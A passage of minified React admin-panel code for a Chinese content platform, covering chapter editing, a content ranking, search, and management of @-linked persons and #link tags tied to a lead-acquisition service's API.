text-white",value:o.isFree?0:o.price,onChange:M=>c({...o,price:Number(M.target.value),isFree:Number(M.target.value)===0}),disabled:o.isFree})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"免费"}),s.jsx("div",{className:"flex items-center h-10",children:s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"checkbox",checked:o.isFree||o.price===0,onChange:M=>c({...o,isFree:M.target.checked,price:M.target.checked?0:1}),className:"w-5 h-5 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"设为免费"})]})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"最新新增"}),s.jsx("div",{className:"flex items-center h-10",children:s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"checkbox",checked:o.isNew??!1,onChange:M=>c({...o,isNew:M.target.checked}),className:"w-5 h-5 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"标记 NEW"})]})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"小程序直推"}),s.jsx("div",{className:"flex items-center h-10",children:s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"checkbox",checked:o.isPinned??!1,onChange:M=>c({...o,isPinned:M.target.checked}),className:"w-5 h-5 rounded border-gray-600 bg-[#0a1628] text-amber-400 focus:ring-amber-400"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"强制置顶到小程序首页"})]})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"文章类型"}),s.jsxs("div",{className:"flex items-center gap-4 h-10",children:[s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"radio",name:"edition-type",checked:o.editionPremium!==!0,onChange:()=>c({...o,editionStandard:!0,editionPremium:!1}),className:"w-4 h-4 border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"普通版"})]}),s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"radio",name:"edition-type",checked:o.editionPremium===!0,onChange:()=>c({...o,editionStandard:!1,editionPremium:!0}),className:"w-4 h-4 border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"增值版"})]})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"热度分"}),s.jsx(se,{type:"number",step:"0.1",min:"0",className:"bg-[#0a1628] border-gray-700 text-white",value:o.hotScore??0,onChange:M=>c({...o,hotScore:Math.max(0,parseFloat(M.target.value)||0)})})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"章节标题"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:o.title,onChange:M=>c({...o,title:M.target.value})})]}),o.filePath&&s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"文件路径"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-gray-400 text-sm",value:o.filePath,disabled:!0})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"内容(富文本编辑器,支持 @链接AI人物 和 #链接标签)"}),f?s.jsxs("div",{className:"bg-[#0a1628] border border-gray-700 rounded-md min-h-[400px] flex items-center justify-center",children:[s.jsx(Ke,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsx(Ex,{ref:ds,content:o.content||"",onChange:M=>c({...o,content:M}),onImageUpload:async M=>{var st;const Q=new FormData;Q.append("file",M),Q.append("folder","book-images");const Ne=await(await fetch(go("/api/upload"),{method:"POST",body:Q,headers:{Authorization:`Bearer ${localStorage.getItem("admin_token")||""}`}})).json();return((st=Ne==null?void 0:Ne.data)==null?void 0:st.url)||(Ne==null?void 0:Ne.url)||""},persons:Wr,linkTags:pe,placeholder:"开始编辑内容... 输入 @ 可链接AI人物,工具栏可插入 #链接标签"})]})]}),s.jsxs(on,{className:"shrink-0 px-6 py-4 border-t border-gray-700/50",children:[o&&s.jsxs(te,{variant:"outline",onClick:()=>Ve({id:o.id,title:o.title,price:o.price}),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent mr-auto",children:[s.jsx(Br,{className:"w-4 h-4 mr-2"}),"付款记录"]}),s.jsxs(te,{variant:"outline",onClick:()=>c(null),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(ir,{className:"w-4 h-4 mr-2"}),"取消"]}),s.jsx(te,{onClick:Nn,disabled:g,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:g?s.jsxs(s.Fragment,{children:[s.jsx(Ke,{className:"w-4 h-4 mr-2 animate-spin"}),"保存中..."]}):s.jsxs(s.Fragment,{children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),"保存修改"]})})]})]})}),s.jsxs(yd,{defaultValue:"chapters",className:"space-y-6",children:[s.jsxs(Ll,{className:"bg-[#0f2137] border border-gray-700/50 p-1",children:[s.jsxs(Zt,{value:"chapters",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-gray-400",children:[s.jsx(Br,{className:"w-4 h-4 mr-2"}),"章节管理"]}),s.jsxs(Zt,{value:"ranking",className:"data-[state=active]:bg-amber-500/20 data-[state=active]:text-amber-400 text-gray-400",children:[s.jsx(Dg,{className:"w-4 h-4 mr-2"}),"内容排行榜"]}),s.jsxs(Zt,{value:"search",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-gray-400",children:[s.jsx(Na,{className:"w-4 h-4 mr-2"}),"内容搜索"]}),s.jsxs(Zt,{value:"link-person",className:"data-[state=active]:bg-purple-500/20 data-[state=active]:text-purple-400 text-gray-400",children:[s.jsx(Ss,{className:"w-4 h-4 mr-2"}),"链接人与事"]}),s.jsxs(Zt,{value:"link-tag",className:"data-[state=active]:bg-amber-500/20 data-[state=active]:text-amber-400 text-gray-400",children:[s.jsx(Bv,{className:"w-4 h-4 mr-2"}),"链接标签"]}),s.jsxs(Zt,{value:"linkedmp",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-gray-400",children:[s.jsx(yi,{className:"w-4 h-4 mr-2"}),"关联小程序"]})]}),s.jsxs(en,{value:"chapters",className:"space-y-4",children:[s.jsxs("div",{className:"rounded-2xl border border-gray-700/50 bg-[#1C1C1E] p-4 flex items-center justify-between shadow-sm",children:[s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsx("div",{className:"w-12 h-12 rounded-xl bg-[#38bdac] flex items-center justify-center text-white shadow-lg shadow-[#38bdac]/20 shrink-0",children:s.jsx(Br,{className:"w-6 h-6"})}),s.jsxs("div",{children:[s.jsx("h2",{className:"font-bold text-base text-white leading-tight mb-1",children:"一场SOUL的创业实验场"}),s.jsx("p",{className:"text-xs text-gray-500",children:"来自Soul派对房的真实商业故事"})]})]}),s.jsxs("div",{className:"text-center shrink-0",children:[s.jsx("span",{className:"block text-2xl font-bold text-[#38bdac]",children:us}),s.jsx("span",{className:"text-xs text-gray-500",children:"章节"})]})]}),s.jsxs("div",{className:"flex flex-wrap gap-2",children:[s.jsxs(te,{onClick:()=>h(!0),className:"flex-1 min-w-[120px] bg-[#38bdac]/10 hover:bg-[#38bdac]/20 text-[#38bdac] border border-[#38bdac]/30",children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"新建章节"]}),s.jsxs(te,{onClick:()=>Z(!0),className:"flex-1 min-w-[120px] bg-amber-500/10 hover:bg-amber-500/20 text-amber-400 border border-amber-500/30",children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"新建篇"]}),s.jsxs(te,{variant:"outline",onClick:()=>K(!0),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:["批量移动(已选 ",H.length," 节)"]})]}),n?s.jsxs("div",{className:"flex items-center justify-center py-12",children:[s.jsx(Ke,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsx(aV,{parts:Dn,expandedParts:a,onTogglePart:ea,onReorder:Rr,onReadSection:Ge,onDeleteSection:Pi,onAddSectionInPart:Po,onAddChapterInPart:ps,onDeleteChapter:Wl,onEditPart:Qt,onDeletePart:zi,onEditChapter:Os,selectedSectionIds:H,onToggleSectionSelect:Ul,onShowSectionOrders:Ve,pinnedSectionIds:Je})]}),s.jsx(en,{value:"search",className:"space-y-4",children:s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsx(Ye,{children:s.jsx(Qe,{className:"text-white",children:"内容搜索"})}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"flex gap-2",children:[s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500 flex-1",placeholder:"搜索标题或内容...",value:N,onChange:M=>w(M.target.value),onKeyDown:M=>M.key==="Enter"&&kd()}),s.jsx(te,{onClick:kd,disabled:C||!N.trim(),className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:C?s.jsx(Ke,{className:"w-4 h-4 animate-spin"}):s.jsx(Na,{className:"w-4 h-4"})})]}),v.length>0&&s.jsxs("div",{className:"space-y-2 mt-4",children:[s.jsxs("p",{className:"text-gray-400 text-sm",children:["找到 ",v.length," 个结果"]}),v.map(M=>s.jsxs("div",{className:"p-3 rounded-lg bg-[#162840] hover:bg-[#1a3050] cursor-pointer transition-colors",onClick:()=>Ge({id:M.id,mid:M.mid,title:M.title,price:M.price??1,filePath:""}),children:[s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-[#38bdac] font-mono text-xs",children:M.id}),s.jsx("span",{className:"text-white",children:M.title}),Je.includes(M.id)&&s.jsx(gl,{className:"w-3 h-3 text-amber-400 fill-amber-400 shrink-0"})]}),s.jsx(qe,{variant:"outline",className:"text-gray-400 border-gray-600 text-xs",children:M.matchType==="title"?"标题匹配":"内容匹配"})]}),M.snippet&&s.jsx("p",{className:"text-gray-500 text-xs mt-2 line-clamp-2",children:M.snippet}),(M.partTitle||M.chapterTitle)&&s.jsxs("p",{className:"text-gray-600 text-xs mt-1",children:[M.partTitle," · ",M.chapterTitle]})]},M.id))]})]})]})}),s.jsxs(en,{value:"ranking",className:"space-y-4",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsx(Ye,{className:"pb-3",children:s.jsxs(Qe,{className:"text-white text-base flex items-center gap-2",children:[s.jsx(Cu,{className:"w-4 h-4 text-[#38bdac]"}),"内容显示规则"]})}),s.jsx(Ee,{children:s.jsxs("div",{className:"flex items-center gap-4 flex-wrap",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(X,{className:"text-gray-400 text-sm whitespace-nowrap",children:"未付费预览比例"}),s.jsx(se,{type:"number",min:"1",max:"100",className:"bg-[#0a1628] border-gray-700 text-white w-20",value:gt,onChange:M=>Rt(Math.max(1,Math.min(100,Number(M.target.value)||20))),disabled:gn}),s.jsx("span",{className:"text-gray-500 text-sm",children:"%"})]}),s.jsx(te,{size:"sm",onClick:Pe,disabled:wr,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:wr?"保存中...":"保存"}),s.jsxs("span",{className:"text-xs text-gray-500",children:["小程序未付费用户默认显示文章前 ",gt,"% 内容"]})]})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsx(Ye,{className:"pb-3",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs(Qe,{className:"text-white text-base flex items-center gap-2",children:[s.jsx(Dg,{className:"w-4 h-4 text-amber-400"}),"内容排行榜",s.jsxs("span",{className:"text-xs text-gray-500 font-normal ml-2",children:["按热度排行 · 共 ",Pn.length," 节"]})]}),s.jsxs("div",{className:"flex items-center gap-1 text-sm",children:[s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>Kr(),disabled:q,className:"text-gray-400 hover:text-white h-7 w-7 p-0",title:"刷新排行榜",children:s.jsx(Ke,{className:`w-4 h-4 ${q?"animate-spin":""}`})}),s.jsx(te,{variant:"ghost",size:"sm",disabled:Rn<=1||q,onClick:()=>pr(M=>Math.max(1,M-1)),className:"text-gray-400 hover:text-white h-7 w-7 p-0",children:s.jsx(JT,{className:"w-4 h-4"})}),s.jsxs("span",{className:"text-gray-400 min-w-[60px] text-center",children:[Rn," / ",Rs]}),s.jsx(te,{variant:"ghost",size:"sm",disabled:Rn>=Rs||q,onClick:()=>pr(M=>Math.min(Rs,M+1)),className:"text-gray-400 hover:text-white h-7 w-7 p-0",children:s.jsx(pl,{className:"w-4 h-4"})})]})]})}),s.jsx(Ee,{children:s.jsxs("div",{className:"space-y-0",children:[s.jsxs("div",{className:"grid grid-cols-[40px_40px_1fr_80px_80px_80px_60px] gap-2 px-3 py-2 text-xs text-gray-500 border-b border-gray-700/50",children:[s.jsx("span",{children:"排名"}),s.jsx("span",{children:"置顶"}),s.jsx("span",{children:"标题"}),s.jsx("span",{className:"text-right",children:"点击量"}),s.jsx("span",{className:"text-right",children:"付款数"}),s.jsx("span",{className:"text-right",children:"热度"}),s.jsx("span",{className:"text-right",children:"编辑"})]}),Ma.map((M,Q)=>{const me=(Rn-1)*hs+Q+1,Ne=M.isPinned??Je.includes(M.id);return s.jsxs("div",{className:`grid grid-cols-[40px_40px_1fr_80px_80px_80px_60px] gap-2 px-3 py-2.5 items-center border-b border-gray-700/30 hover:bg-[#162840] transition-colors ${Ne?"bg-amber-500/5":""}`,children:[s.jsx("span",{className:`text-sm font-bold ${me<=3?"text-amber-400":"text-gray-500"}`,children:me<=3?["🥇","🥈","🥉"][me-1]:`#${me}`}),s.jsx(te,{variant:"ghost",size:"sm",className:`h-6 w-6 p-0 ${Ne?"text-amber-400":"text-gray-600 hover:text-amber-400"}`,onClick:()=>Pa(M.id),disabled:ct,title:Ne?"取消置顶":"强制置顶(精选推荐/首页最新更新)",children:Ne?s.jsx(gl,{className:"w-3.5 h-3.5 fill-current"}):s.jsx(xA,{className:"w-3.5 h-3.5"})}),s.jsxs("div",{className:"min-w-0",children:[s.jsx("span",{className:"text-white text-sm truncate block",children:M.title}),s.jsxs("span",{className:"text-gray-600 text-xs",children:[M.partTitle," · ",M.chapterTitle]})]}),s.jsx("span",{className:"text-right text-sm text-blue-400 font-mono",children:M.clickCount??0}),s.jsx("span",{className:"text-right text-sm text-green-400 font-mono",children:M.payCount??0}),s.jsx("span",{className:"text-right text-sm text-amber-400 font-mono",children:(M.hotScore??0).toFixed(1)}),s.jsx("div",{className:"text-right",children:s.jsx(te,{variant:"ghost",size:"sm",className:"text-gray-500 hover:text-[#38bdac] h-6 px-1",onClick:()=>Ge({id:M.id,mid:M.mid,title:M.title,price:M.price,filePath:""}),title:"编辑文章",children:s.jsx(Wt,{className:"w-3 h-3"})})})]},M.id)}),Ma.length===0&&s.jsx("div",{className:"py-8 text-center text-gray-500",children:"暂无数据"})]})})]})]}),s.jsxs(en,{value:"link-person",className:"space-y-4",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"pb-3",children:[s.jsxs(Qe,{className:"text-white text-base flex items-center gap-2",children:[s.jsx("span",{className:"text-[#38bdac] text-lg font-bold",children:"@"}),"AI列表 — 链接人与事(编辑器内输入 @ 可链接)"]}),s.jsx("p",{className:"text-xs text-gray-500 mt-1",children:"添加时自动生成 32 位 token,文章 @ 时存 token;小程序点击 @ 时用 token 兑换真实密钥后加好友"})]}),s.jsxs(Ee,{className:"space-y-3",children:[s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsx("p",{className:"text-xs text-gray-500",children:"添加人物时同步创建存客宝场景获客计划,配置与存客宝 API 获客一致"}),s.jsxs("div",{className:"flex gap-2",children:[s.jsx(te,{variant:"outline",size:"sm",className:"border-gray-600 text-gray-400 hover:bg-gray-700/50",onClick:()=>qr(),title:"刷新",children:s.jsx(Ke,{className:"w-4 h-4"})}),s.jsxs(te,{size:"sm",className:"bg-[#38bdac] hover:bg-[#2da396] text-white",onClick:()=>{Xs(null),On(!0)},children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"添加"]})]})]}),s.jsx("div",{className:"max-h-[400px] overflow-y-auto",children:Wr.length>0?s.jsxs("table",{className:"w-full text-sm border-collapse",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"text-xs text-gray-500 border-b border-gray-700/50",children:[s.jsx("th",{className:"text-left py-1.5 px-3 w-[280px] font-normal",children:"token"}),s.jsx("th",{className:"text-left py-1.5 px-3 w-24 font-normal",children:"@的人"}),s.jsx("th",{className:"text-left py-1.5 px-3 font-normal",children:"获客计划活动名"}),s.jsx("th",{className:"text-left py-1.5 px-3 w-20 font-normal",children:"planId"}),s.jsx("th",{className:"text-left py-1.5 px-3 font-normal",children:"apiKey"}),s.jsx("th",{className:"text-left py-1.5 px-2 w-24 font-normal",children:"操作"})]})}),s.jsx("tbody",{children:Wr.map(M=>s.jsxs("tr",{className:"border-b border-gray-700/30 hover:bg-[#0a1628]/80",children:[s.jsx("td",{className:"py-2 px-3 text-gray-400 text-xs font-mono",title:"32位token",children:M.id}),s.jsx("td",{className:"py-2 px-3 text-amber-400 truncate max-w-[96px]",title:"@的人",children:M.name}),s.jsxs("td",{className:"py-2 px-3 text-white truncate max-w-[200px]",title:"获客计划活动名",children:["SOUL链接人与事-",M.name]}),s.jsx("td",{className:"py-2 px-3 text-gray-400 text-xs font-mono",title:"存客宝计划ID",children:M.ckbPlanId??"-"}),s.jsx("td",{className:"py-2 px-3 text-gray-400 text-xs font-mono whitespace-nowrap",children:s.jsxs("div",{className:"flex items-center gap-1.5",children:[M.ckbApiKey?s.jsx(te,{variant:"ghost",size:"sm",className:"h-6 w-6 p-0 text-gray-500 hover:text-[#38bdac] shrink-0",title:"复制 apiKey",onClick:async()=>{await navigator.clipboard.writeText(M.ckbApiKey??""),ie.success("已复制到剪贴板")},children:s.jsx(Bx,{className:"w-3.5 h-3.5"})}):null,s.jsx("span",{title:M.ckbApiKey??"",children:M.ckbApiKey??"-"})]})}),s.jsx("td",{className:"py-2 px-2",children:s.jsxs("div",{className:"flex items-center gap-0",children:[s.jsx(te,{variant:"ghost",size:"sm",className:"text-gray-400 hover:text-[#38bdac] h-6 px-2",title:"编辑",onClick:async()=>{try{const Q=await oV(M.personId||"");if(Q!=null&&Q.success&&Q.person){const me=Q.person;Xs({id:me.token??me.personId,personId:me.personId,name:me.name,label:me.label??"",ckbApiKey:me.ckbApiKey??"",remarkType:me.remarkType,remarkFormat:me.remarkFormat,addFriendInterval:me.addFriendInterval,startTime:me.startTime,endTime:me.endTime,deviceGroups:me.deviceGroups})}else Xs(M),Q!=null&&Q.error&&ie.error(Q.error)}catch(Q){console.error(Q),Xs(M),ie.error(Q instanceof Error?Q.message:"加载人物详情失败")}On(!0)},children:s.jsx(nj,{className:"w-3 h-3"})}),s.jsx(te,{variant:"ghost",size:"sm",className:"text-gray-400 hover:text-amber-400 h-6 px-2",title:"编辑计划(跳转存客宝)",onClick:()=>{const Q=M.ckbPlanId;Q?window.open(`https://h5.ckb.quwanzhi.com/#/scenarios/edit/${Q}`,"_blank"):ie.info("该人物尚未同步存客宝计划,请先保存后等待同步完成")},children:s.jsx(Us,{className:"w-3 h-3"})}),s.jsx(te,{variant:"ghost",size:"sm",className:"text-red-400 hover:text-red-300 h-6 px-2",title:"删除(同时删除存客宝对应获客计划)",onClick:()=>Zs(M),children:s.jsx(ir,{className:"w-3 h-3"})})]})})]},M.id))})]}):s.jsx("div",{className:"text-gray-500 text-sm py-4 text-center",children:"暂无AI人物,添加后可在编辑器中 @链接"})})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"pb-3",children:[s.jsxs(Qe,{className:"text-white text-base flex items-center gap-2",children:[s.jsx(Cu,{className:"w-4 h-4 text-green-400"}),"存客宝绑定"]}),s.jsx("p",{className:"text-xs text-gray-500 mt-1",children:"配置存客宝 API 后,文章中 @人物 或 #标签 点击可自动进入存客宝流量池"})]}),s.jsxs(Ee,{className:"space-y-3",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"存客宝 API 地址"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8",placeholder:"https://ckbapi.quwanzhi.com",defaultValue:"https://ckbapi.quwanzhi.com",readOnly:!0})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"绑定计划"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8",placeholder:"创业实验-内容引流",defaultValue:"创业实验-内容引流",readOnly:!0})]})]}),s.jsxs("p",{className:"text-xs text-gray-500",children:["具体存客宝场景配置与接口测试请前往"," ",s.jsx("button",{className:"text-[#38bdac] hover:underline",onClick:()=>window.open("/match","_blank"),children:"找伙伴 → 存客宝工作台"})]})]})]})]}),s.jsx(en,{value:"link-tag",className:"space-y-4",children:s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"pb-3",children:[s.jsxs(Qe,{className:"text-white text-base flex items-center gap-2",children:[s.jsx(Bv,{className:"w-4 h-4 text-amber-400"}),"链接标签 — 链接事与物(编辑器内 #标签 可跳转链接/小程序/存客宝)"]}),s.jsx("p",{className:"text-xs text-gray-500 mt-1",children:"小程序端点击 #标签 可直接跳转对应链接,进入流量池"})]}),s.jsxs(Ee,{className:"space-y-3",children:[s.jsxs("div",{className:"flex gap-2 items-end flex-wrap justify-between",children:[s.jsxs("div",{className:"flex gap-2 items-end flex-wrap",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"标签ID"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 w-24",placeholder:"如 team01",value:ft.tagId,onChange:M=>xn({...ft,tagId:M.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"显示文字"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 w-28",placeholder:"如 神仙团队",value:ft.label,onChange:M=>xn({...ft,label:M.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"类型"}),s.jsxs(hl,{value:ft.type,onValueChange:M=>xn({...ft,type:M}),children:[s.jsx(no,{className:"bg-[#0a1628] border-gray-700 text-white h-8 w-24",children:s.jsx(fl,{})}),s.jsxs(ro,{children:[s.jsx(_r,{value:"url",children:"网页链接"}),s.jsx(_r,{value:"miniprogram",children:"小程序"}),s.jsx(_r,{value:"ckb",children:"存客宝"})]})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:ft.type==="url"?"URL地址":ft.type==="ckb"?"存客宝计划URL":"小程序(选密钥)"}),ft.type==="miniprogram"&&Ra.length>0?s.jsxs("div",{ref:Di,className:"relative w-44",children:[s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 w-44",placeholder:"搜索名称或密钥",value:Oi?ta:ft.appId,onChange:M=>{const Q=M.target.value;Ot(Q),fs(!0),Ra.some(me=>me.key===Q)||xn({...ft,appId:Q})},onFocus:()=>{Ot(ft.appId),fs(!0)},onBlur:()=>setTimeout(()=>fs(!1),150)}),Oi&&s.jsx("div",{className:"absolute top-full left-0 right-0 mt-1 max-h-48 overflow-y-auto rounded-md border border-gray-700 bg-[#0a1628] shadow-lg z-50",children:Li.length===0?s.jsx("div",{className:"px-3 py-2 text-gray-500 text-xs",children:"无匹配,可手动输入密钥"}):Li.map(M=>s.jsxs("button",{type:"button",className:"w-full px-3 py-2 text-left text-sm text-white hover:bg-[#38bdac]/20 flex flex-col gap-0.5",onMouseDown:Q=>{Q.preventDefault(),xn({...ft,appId:M.key,pagePath:M.path||""}),Ot(""),fs(!1)},children:[s.jsx("span",{children:M.name}),s.jsx("span",{className:"text-xs text-gray-400 font-mono",children:M.key})]},M.key))})]}):s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 w-44",placeholder:ft.type==="url"?"https://...":ft.type==="ckb"?"https://ckbapi.quwanzhi.com/...":"关联小程序的32位密钥",value:ft.type==="url"||ft.type==="ckb"?ft.url:ft.appId,onChange:M=>{ft.type==="url"||ft.type==="ckb"?xn({...ft,url:M.target.value}):xn({...ft,appId:M.target.value})}})]}),ft.type==="miniprogram"&&s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"页面路径"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 w-36",placeholder:"pages/index/index",value:ft.pagePath,onChange:M=>xn({...ft,pagePath:M.target.value})})]}),s.jsxs(te,{size:"sm",className:"bg-amber-500 hover:bg-amber-600 text-white h-8",onClick:async()=>{if(!ft.tagId||!ft.label){ie.error("标签ID和显示文字必填");return}const M={...ft};M.type==="miniprogram"&&(M.url=""),await vt("/api/db/link-tags",M),xn({tagId:"",label:"",url:"",type:"url",appId:"",pagePath:""}),Ir(null),Gr()},children:[s.jsx(hn,{className:"w-3 h-3 mr-1"}),Ur?"保存":"添加"]})]}),s.jsx(te,{variant:"outline",size:"sm",className:"border-gray-600 text-gray-400 hover:bg-gray-700/50 h-8",onClick:()=>Gr(),title:"刷新",children:s.jsx(Ke,{className:"w-4 h-4"})})]}),s.jsxs("div",{className:"space-y-1 max-h-[400px] overflow-y-auto",children:[pe.map(M=>s.jsxs("div",{className:"flex items-center justify-between bg-[#0a1628] rounded px-3 py-2",children:[s.jsxs("div",{className:"flex items-center gap-3 text-sm",children:[s.jsxs("button",{type:"button",className:"text-amber-400 font-bold text-base hover:underline",onClick:()=>{xn({tagId:M.id,label:M.label,url:M.url,type:M.type,appId:M.appId??"",pagePath:M.pagePath??""}),Ir(M.id)},children:["#",M.label]}),s.jsx(qe,{variant:"secondary",className:`text-[10px] ${M.type==="ckb"?"bg-green-500/20 text-green-300 border-green-500/30":"bg-gray-700 text-gray-300"}`,children:M.type==="url"?"网页":M.type==="ckb"?"存客宝":"小程序"}),M.type==="miniprogram"?s.jsxs("span",{className:"text-gray-400 text-xs font-mono",children:[M.appId," ",M.pagePath?`· ${M.pagePath}`:""]}):M.url?s.jsxs("a",{href:M.url,target:"_blank",rel:"noreferrer",className:"text-blue-400 text-xs truncate max-w-[250px] hover:underline flex items-center gap-1",children:[M.url," ",s.jsx(Us,{className:"w-3 h-3 shrink-0"})]}):null]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(te,{variant:"ghost",size:"sm",className:"text-gray-300 hover:text-white h-6 px-2",onClick:()=>{xn({tagId:M.id,label:M.label,url:M.url,type:M.type,appId:M.appId??"",pagePath:M.pagePath??""}),Ir(M.id)},children:"编辑"}),s.jsx(te,{variant:"ghost",size:"sm",className:"text-red-400 hover:text-red-300 h-6 px-2",onClick:async()=>{await Bs(`/api/db/link-tags?tagId=${M.id}`),Ur===M.id&&(Ir(null),xn({tagId:"",label:"",url:"",type:"url",appId:"",pagePath:""})),Gr()},children:s.jsx(ir,{className:"w-3 h-3"})})]})]},M.id)),pe.length===0&&s.jsx("div",{className:"text-gray-500 text-sm py-4 text-center",children:"暂无链接标签,添加后可在编辑器中使用 #标签 跳转"})]})]})]})}),s.jsx(en,{value:"linkedmp",className:"space-y-4",children:s.jsx(rV,{})})]}),s.jsx(lV,{open:Pt,onOpenChange:On,editingPerson:Qs,onSubmit:async M=>{var Ne;const Q={personId:M.personId||M.name.toLowerCase().replace(/\s+/g,"_")+"_"+Date.now().toString(36),name:M.name,label:M.label,ckbApiKey:M.ckbApiKey||void 0,greeting:M.greeting||void 0,tips:M.tips||void 0,remarkType:M.remarkType||void 0,remarkFormat:M.remarkFormat||void 0,addFriendInterval:M.addFriendInterval,startTime:M.startTime||void 0,endTime:M.endTime||void 0,deviceGroups:(Ne=M.deviceGroups)!=null&&Ne.trim()?M.deviceGroups.split(",").map(st=>parseInt(st.trim(),10)).filter(st=>!Number.isNaN(st)):void 0},me=await vt("/api/db/persons",Q);if(me&&me.success===!1){const st=me;st.ckbResponse&&console.log("存客宝返回",st.ckbResponse);const mt=st.error||"操作失败";throw new Error(mt)}if(qr(),ie.success(Qs?"已保存":"已添加"),me!=null&&me.ckbCreateResult&&Object.keys(me.ckbCreateResult).length>0){const st=me.ckbCreateResult;console.log("存客宝创建结果",st);const mt=st.planId??st.id,Bt=mt!=null?[`planId: ${mt}`]:[];st.apiKey!=null&&Bt.push("apiKey: ***"),ie.info(Bt.length?`存客宝创建结果:${Bt.join(",")}`:"存客宝创建结果见控制台")}}}),s.jsx(Dt,{open:!!Wn,onOpenChange:M=>{M||Zs(null)},children:s.jsxs(At,{showCloseButton:!0,className:"bg-[#0f2137] border-gray-700 text-white max-w-md p-4 gap-3",children:[s.jsxs(Lt,{className:"gap-1",children:[s.jsx(_t,{className:"text-white text-base",children:"确认删除"}),s.jsx(yf,{className:"text-gray-400 text-sm leading-relaxed 